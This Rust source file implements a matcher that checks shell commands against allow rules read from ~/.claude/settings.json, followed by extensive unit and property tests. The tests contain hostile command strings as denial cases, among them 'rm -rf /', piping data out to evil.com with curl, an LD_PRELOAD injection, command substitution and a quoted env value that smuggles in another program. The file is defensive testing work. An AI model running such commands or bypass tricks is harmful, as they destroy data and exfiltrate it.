1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9 home: String,
11}
12
13fn canonicalize_home(text: &str, home: &str) -> String {
28 if home.is_empty() || home == "/" {
29 return text.to_string();
30 }
31 let home = home.strip_suffix('/').unwrap_or(home);
32 text.split(' ')
33 .map(|word| match word.strip_prefix("~/") {
34 Some(rest) => format!("{home}/{rest}"),
35 None if word == "~" => home.to_string(),
36 None => word.to_string(),
37 })
38 .collect::<Vec<_>>()
39 .join(" ")
40}
41
42impl Matcher {
43 pub fn load() -> Self {
49 match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53 Some(home) => Self::load_from_home(Path::new(&home)),
54 None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
55 }
56 }
57
58 fn load_from_home(home: &Path) -> Self {
59 let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
60 patterns.load_file(&home.join(".claude/settings.json"));
61 patterns
62 }
63
64 fn load_file(&mut self, path: &Path) {
65 let Ok(contents) = std::fs::read_to_string(path) else {
66 return;
67 };
68 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
69 return;
70 };
71
72 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
73 for entry in arr.iter().filter_map(|e| e.as_str()) {
74 self.add_pattern(entry);
75 }
76 }
77
78 if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
79 for entry in arr.iter().filter_map(|e| e.as_str()) {
80 self.add_pattern(entry);
81 }
82 }
83 }
84
85 fn add_pattern(&mut self, entry: &str) {
86 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
87 return;
88 };
89 if inner.is_empty() {
90 return;
91 }
92 let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
93 let normalized = canonicalize_home(&normalized, &self.home);
94 if normalized.contains('*') {
95 self.globs.push(normalized.split('*').map(String::from).collect());
96 } else {
97 self.exact.insert(normalized);
98 }
99 }
100
101 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
102 let Cmd::Simple(simple) = cmd else {
103 return false;
104 };
105 let Some(normalized) = check::normalize_for_matching(simple) else {
108 return false;
109 };
110 let normalized = canonicalize_home(normalized.trim(), &self.home);
111 let normalized = normalized.as_str();
112 if normalized.is_empty() {
113 return false;
114 }
115 if self.exact.contains(normalized) {
116 return true;
117 }
118 self.globs.iter().any(|parts| glob_matches(parts, normalized))
119 }
120
121 pub fn is_empty(&self) -> bool {
122 self.exact.is_empty() && self.globs.is_empty()
123 }
124
125 #[cfg(test)]
126 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
127 let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
128 for p in patterns {
129 m.add_pattern(&format!("Bash({p})"));
130 }
131 m
132 }
133}
134
135#[cfg(test)]
137const TEST_HOME: &str = "/home/tester";
138
139pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
140 match cmd {
141 Cmd::Simple(_) => check::is_safe_cmd(cmd) || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd)),
142 _ => check::is_safe_cmd(cmd),
143 }
144}
145
146fn glob_matches(parts: &[String], text: &str) -> bool {
147 let first = &parts[0];
148 let last = &parts[parts.len() - 1];
149
150 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
151 let prefix = &first[..first.len() - 1];
152 return text == prefix || text.starts_with(first.as_str());
153 }
154
155 if !text.starts_with(first.as_str()) {
156 return false;
157 }
158 if !text.ends_with(last.as_str()) {
159 return false;
160 }
161 let mut pos = first.len();
162 let end = text.len() - last.len();
163 if pos > end {
164 return false;
165 }
166 for part in &parts[1..parts.len() - 1] {
167 match text[pos..end].find(part.as_str()) {
168 Some(idx) => pos += idx + part.len(),
169 None => return false,
170 }
171 }
172 pos <= end
173}
174
175#[cfg(test)]
176mod tests {
177 use super::*;
178 use std::fs;
179
180 use crate::cst;
181
182 fn empty() -> Matcher {
183 Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
184 }
185
186 fn cmd(s: &str) -> Cmd {
187 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
188 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
189 assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
190 script.0[0].pipeline.commands[0].clone()
191 }
192
193 fn segments(command: &str) -> Vec<Cmd> {
194 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
195 script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
196 }
197
198 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
199 is_cmd_covered(cmd, patterns)
200 }
201
202 fn all_covered(command: &str, patterns: &Matcher) -> bool {
203 let Some(script) = cst::parse(command) else {
204 return false;
205 };
206 script
207 .0
208 .iter()
209 .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
210 }
211
212 #[test]
213 fn parse_exact_pattern() {
214 let mut p = empty();
215 p.add_pattern("Bash(npm test)");
216 assert!(p.exact.contains("npm test"));
217 assert!(p.globs.is_empty());
218 assert!(!p.is_empty(), "an exact pattern alone makes the matcher non-empty");
219 }
220
221 #[test]
222 fn parse_legacy_colon_star() {
223 let mut p = empty();
224 p.add_pattern("Bash(npm run:*)");
225 assert!(p.exact.is_empty());
226 assert_eq!(p.globs.len(), 1);
227 assert!(!p.is_empty(), "a glob pattern alone makes the matcher non-empty");
228 }
229
230 #[test]
231 fn parse_space_star() {
232 let mut p = empty();
233 p.add_pattern("Bash(npm run *)");
234 assert!(p.exact.is_empty());
235 assert_eq!(p.globs.len(), 1);
236 }
237
238 #[test]
239 fn parse_non_bash_skipped() {
240 let mut p = empty();
241 p.add_pattern("WebFetch");
242 p.add_pattern("XcodeBuildMCP");
243 assert!(p.is_empty());
244 }
245
246 #[test]
247 fn parse_empty_bash_skipped() {
248 let mut p = empty();
249 p.add_pattern("Bash()");
250 assert!(p.is_empty());
251 }
252
253 #[test]
254 fn match_exact() {
255 let mut p = empty();
256 p.add_pattern("Bash(npm test)");
257 assert!(p.matches_cmd(&cmd("npm test")));
258 assert!(!p.matches_cmd(&cmd("npm test --watch")));
259 }
260
261 #[test]
262 fn match_space_star_word_boundary() {
263 let mut p = empty();
264 p.add_pattern("Bash(ls *)");
265 assert!(p.matches_cmd(&cmd("ls -la")));
266 assert!(p.matches_cmd(&cmd("ls foo")));
267 assert!(!p.matches_cmd(&cmd("lsof")));
268 }
269
270 #[test]
271 fn match_star_no_space_no_boundary() {
272 let mut p = empty();
273 p.add_pattern("Bash(ls*)");
274 assert!(p.matches_cmd(&cmd("ls -la")));
275 assert!(p.matches_cmd(&cmd("lsof")));
276 }
277
278 #[test]
279 fn match_legacy_colon_star_word_boundary() {
280 let mut p = empty();
281 p.add_pattern("Bash(npm run:*)");
282 assert!(p.matches_cmd(&cmd("npm run build")));
283 assert!(p.matches_cmd(&cmd("npm run test")));
284 assert!(!p.matches_cmd(&cmd("npm running")));
285 assert!(!p.matches_cmd(&cmd("npm install")));
286 }
287
288 #[test]
289 fn match_star_at_beginning() {
290 let mut p = empty();
291 p.add_pattern("Bash(* --version)");
292 assert!(p.matches_cmd(&cmd("npm --version")));
293 assert!(p.matches_cmd(&cmd("cargo --version")));
294 assert!(!p.matches_cmd(&cmd("npm --help")));
295 }
296
297 #[test]
298 fn match_star_in_middle() {
299 let mut p = empty();
300 p.add_pattern("Bash(git * main)");
301 assert!(p.matches_cmd(&cmd("git checkout main")));
302 assert!(p.matches_cmd(&cmd("git merge main")));
303 assert!(!p.matches_cmd(&cmd("git checkout develop")));
304 }
305
306 #[test]
320 fn match_env_prefix_is_not_stripped() {
321 let mut p = empty();
322 p.add_pattern("Bash(bundle install)");
323 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
324 assert!(p.matches_cmd(&cmd("bundle install")));
325
326 let mut q = empty();
327 q.add_pattern("Bash(RACK_ENV=test bundle install)");
328 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
329 }
330
331 #[test]
332 fn match_fd_redirect_stripped() {
333 let mut p = empty();
334 p.add_pattern("Bash(npm test)");
335 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
336 }
337
338 #[test]
339 fn match_fd_redirect_with_glob() {
340 let mut p = empty();
341 p.add_pattern("Bash(npm run *)");
342 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
343 }
344
345 #[test]
346 fn empty_patterns_match_nothing() {
347 let p = empty();
348 assert!(!p.matches_cmd(&cmd("anything")));
349 }
350
351 #[test]
352 fn match_bare_star_matches_everything() {
353 let mut p = empty();
354 p.add_pattern("Bash(*)");
355 assert!(p.matches_cmd(&cmd("anything at all")));
356 assert!(p.matches_cmd(&cmd("rm -rf /")));
357 }
358
359 #[test]
360 fn unsafe_syntax_not_bypassed_by_match() {
361 let mut p = empty();
362 p.add_pattern("Bash(./script.sh *)");
363 let c = cmd("./script.sh > /etc/passwd");
364 assert!(check::has_unsafe_syntax(&c));
365 assert!(!is_covered(&c, &p));
366 }
367
368 #[test]
369 fn command_substitution_not_bypassed_by_match() {
370 let mut p = empty();
371 p.add_pattern("Bash(./script.sh *)");
372 let c = cmd("./script.sh $(rm -rf /)");
373 assert!(!is_covered(&c, &p));
374 }
375
376 #[test]
377 fn mixed_chain_safe_plus_settings() {
378 let mut p = empty();
379 p.add_pattern("Bash(./generate-docs.sh)");
380 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
381 }
382
383 #[test]
384 fn mixed_chain_safe_plus_unapproved_denied() {
385 let mut p = empty();
386 p.add_pattern("Bash(./generate-docs.sh)");
387 assert!(!all_covered("cargo test && rm -rf /", &p));
388 }
389
390 #[test]
391 fn glob_does_not_cross_chain_boundary() {
392 let mut p = empty();
393 p.add_pattern("Bash(cargo test *)");
394 let cmds = segments("cargo test --release && rm -rf /");
395 assert_eq!(cmds.len(), 2);
396 assert!(p.matches_cmd(&cmds[0]));
397 assert!(!p.matches_cmd(&cmds[1]));
398 assert!(!all_covered("cargo test --release && rm -rf /", &p));
399 }
400
401 #[test]
402 fn glob_does_not_cross_pipe_boundary() {
403 let mut p = empty();
404 p.add_pattern("Bash(safe-cmd *)");
405 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
406 }
407
408 #[test]
409 fn glob_does_not_cross_semicolon_boundary() {
410 let mut p = empty();
411 p.add_pattern("Bash(safe-cmd *)");
412 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
413 }
414
415 #[test]
416 fn file_redirect_promoted_to_safewrite() {
417 let p = empty();
418 let c = cmd("echo > out.txt");
419 assert!(is_covered(&c, &p));
420 }
421
422 #[test]
423 fn redirect_to_sensitive_target_not_covered() {
424 let p = empty();
425 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
426 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
427 }
428
429 #[test]
430 fn bare_star_blocked_by_unsafe_syntax_backtick() {
431 let mut p = empty();
432 p.add_pattern("Bash(*)");
433 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
434 }
435
436 #[test]
437 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
438 let mut p = empty();
439 p.add_pattern("Bash(*)");
440 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
441 }
442
443 #[test]
444 fn safe_command_substitution_allowed_through_is_safe() {
445 let p = empty();
446 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
449 }
450
451 #[test]
452 fn nested_shell_not_recursively_validated_by_settings() {
453 let mut p = empty();
454 p.add_pattern("Bash(bash *)");
455 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
456 assert!(!check::is_safe_cmd(&c));
457 assert!(!check::has_unsafe_syntax(&c));
458 assert!(is_covered(&c, &p));
459 }
460
461 #[test]
462 fn nested_shell_redirect_promoted_to_safewrite() {
463 let p = empty();
464 let c = cmd("bash -c 'echo hello' > /tmp/out");
465 assert!(is_covered(&c, &p));
466 }
467
468 #[test]
469 fn quoted_operators_stay_as_one_segment() {
470 let mut p = empty();
471 p.add_pattern("Bash(./script *)");
472 assert!(all_covered("./script 'arg && rm -rf /'", &p));
473 }
474
475 #[test]
476 fn load_from_home_reads_home_settings() {
477 let home = tempfile::tempdir().unwrap();
478 let claude_dir = home.path().join(".claude");
479 fs::create_dir_all(&claude_dir).unwrap();
480 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
481 let p = Matcher::load_from_home(home.path());
482 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
483 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
484 assert!(!p.matches_cmd(&cmd("./evil.sh")));
485 }
486
487 #[test]
488 fn load_from_home_ignores_project_settings() {
489 let home = tempfile::tempdir().unwrap();
493 let project = tempfile::tempdir().unwrap();
494 let project_claude = project.path().join(".claude");
495 fs::create_dir_all(&project_claude).unwrap();
496 fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
497 let p = Matcher::load_from_home(home.path());
498 assert!(!p.matches_cmd(&cmd("rm -rf /")));
499 assert!(p.is_empty());
500 }
501
502 #[test]
503 fn load_from_home_chains_with_builtins() {
504 let home = tempfile::tempdir().unwrap();
505 let claude_dir = home.path().join(".claude");
506 fs::create_dir_all(&claude_dir).unwrap();
507 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
508 let p = Matcher::load_from_home(home.path());
509 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
510 assert!(!all_covered("cargo test && ./evil.sh", &p));
511 }
512
513 #[test]
514 fn load_file_nonexistent() {
515 let mut p = empty();
516 p.load_file(Path::new("/nonexistent/path/settings.json"));
517 assert!(p.is_empty());
518 }
519
520 #[test]
521 fn load_file_malformed_json() {
522 let dir = tempfile::tempdir().unwrap();
523 let path = dir.path().join("settings.json");
524 std::fs::write(&path, "not json{{{").unwrap();
525 let mut p = empty();
526 p.load_file(&path);
527 assert!(p.is_empty());
528 }
529
530 #[test]
531 fn load_file_approved_commands() {
532 let dir = tempfile::tempdir().unwrap();
533 let path = dir.path().join("settings.json");
534 fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
535 let mut p = empty();
536 p.load_file(&path);
537 assert!(p.matches_cmd(&cmd("npm test")));
538 assert!(p.matches_cmd(&cmd("npm run build")));
539 assert!(!p.matches_cmd(&cmd("curl evil.com")));
540 }
541
542 #[test]
543 fn load_file_permissions_allow() {
544 let dir = tempfile::tempdir().unwrap();
545 let path = dir.path().join("settings.json");
546 fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
547 let mut p = empty();
548 p.load_file(&path);
549 assert!(p.matches_cmd(&cmd("cargo test")));
550 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
551 }
552
553 #[test]
554 fn load_file_both_fields() {
555 let dir = tempfile::tempdir().unwrap();
556 let path = dir.path().join("settings.json");
557 fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
558 let mut p = empty();
559 p.load_file(&path);
560 assert!(p.matches_cmd(&cmd("npm test")));
561 assert!(p.matches_cmd(&cmd("cargo test --release")));
562 }
563
564 #[test]
567 fn a_glob_prefix_and_suffix_may_not_overlap() {
568 let parts = ["ab".to_string(), "ba".to_string()];
569 assert!(!glob_matches(&parts, "aba"));
570 assert!(glob_matches(&parts, "abba"));
571 let repeated = ["a".to_string(), "b".to_string(), "b".to_string(), "c".to_string()];
572 assert!(!glob_matches(&repeated, "abc"), "one `b` cannot stand for both middle pieces");
573 assert!(glob_matches(&repeated, "abbc"));
574 }
575
576 proptest::proptest! {
577 #[test]
580 fn a_glob_match_holds_every_piece(
581 parts in proptest::collection::vec("[ab]{1,3}", 2..6),
582 text in "[ab]{0,8}",
583 ) {
584 if glob_matches(&parts, &text) {
585 let pieces: usize = parts.iter().map(String::len).sum();
586 proptest::prop_assert!(text.len() >= pieces, "{parts:?} matched {text:?}");
587 }
588 }
589 }
590}
591
592#[cfg(test)]
604mod env_prefix_matching_tests {
605 use super::*;
606 use crate::cst;
607
608 fn cmd(s: &str) -> Cmd {
609 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
610 script.0[0].pipeline.commands[0].clone()
611 }
612
613 fn matcher(patterns: &[&str]) -> Matcher {
614 Matcher::from_allow_patterns(patterns)
615 }
616
617 #[test]
618 fn a_plain_command_still_matches_its_rule() {
619 let m = matcher(&["~/runner-scripts/x.sh:*"]);
620 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
621 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
622 }
623
624 #[test]
628 fn a_home_grant_covers_both_spellings_of_the_same_file() {
629 for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
630 let m = matcher(&[rule]);
631 for c in [
632 "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
633 "/home/tester/runner-scripts/x.sh --dry-run",
634 ] {
635 assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
636 }
637 }
638 }
639
640 #[test]
643 fn a_home_grant_covers_both_spellings_in_an_argument() {
644 let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
645 assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
646 assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
647 }
648
649 #[test]
652 fn another_users_home_is_not_expanded() {
653 let m = matcher(&["~/runner-scripts/x.sh:*"]);
654 assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
655 assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
656 }
657
658 #[test]
661 fn a_home_variable_is_not_expanded() {
662 let m = matcher(&["~/runner-scripts/x.sh:*"]);
663 assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
664 }
665
666 #[test]
667 fn an_env_prefix_does_not_match_a_rule_without_one() {
668 let m = matcher(&["~/runner-scripts/x.sh:*"]);
669 for c in [
670 "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
671 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
672 ] {
673 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
674 }
675 }
676
677 #[test]
678 fn a_rule_that_declares_the_env_prefix_matches_it() {
679 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
681 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
682 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
683 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
684 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
686 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
687 }
688
689 #[test]
690 fn every_assignment_must_be_accounted_for() {
691 let m = matcher(&["A=1 tool:*"]);
692 assert!(m.matches_cmd(&cmd("A=1 tool")));
693 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
695 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
696 }
697
698 #[test]
699 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
700 let exact = matcher(&["tool run"]);
701 assert!(exact.matches_cmd(&cmd("tool run")));
702 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
703 }
704
705 #[test]
711 fn a_value_containing_whitespace_matches_no_rule() {
712 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
713 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
714 assert!(
715 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
716 "a spaced value smuggled the pattern and matched a different program",
717 );
718
719 let n = matcher(&["FOO=bar baz ls"]);
721 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
724
725 #[test]
729 fn a_quoted_word_still_matches() {
730 let m = matcher(&["git commit -m:*"]);
731 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
732 }
733
734 #[test]
738 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
739 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
740 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
741 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
742
743 let mut checked = 0;
744 for rule in rules {
745 let m = matcher(&[rule]);
746 for c in commands {
747 if !m.matches_cmd(&cmd(c)) {
748 continue; }
750 for a in assignments {
751 let prefixed = format!("{a} {c}");
752 assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
753 checked += 1;
754 }
755 }
756 }
757 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
758 }
759
760 proptest::proptest! {
761 #[test]
764 fn without_a_usable_home_every_word_is_left_alone(
765 text in "[~]/[a-z]{0,8}( [~]?/?[a-z.]{0,10}){0,4}",
766 home in proptest::prop_oneof![proptest::strategy::Just(""), proptest::strategy::Just("/")],
767 ) {
768 proptest::prop_assert_eq!(canonicalize_home(&text, home), text);
769 }
770
771 #[test]
774 fn a_usable_home_expands_both_tilde_spellings(
775 home in "/[a-z]{1,8}(/[a-z]{1,8}){0,2}",
776 slash in proptest::bool::ANY,
777 rest in "[a-z.]{1,10}",
778 ) {
779 let given = if slash { format!("{home}/") } else { home.clone() };
780 let text = format!("ls ~ ~/{rest}");
781 proptest::prop_assert_eq!(canonicalize_home(&text, &given), format!("ls {home} {home}/{rest}"));
782 }
783 }
784}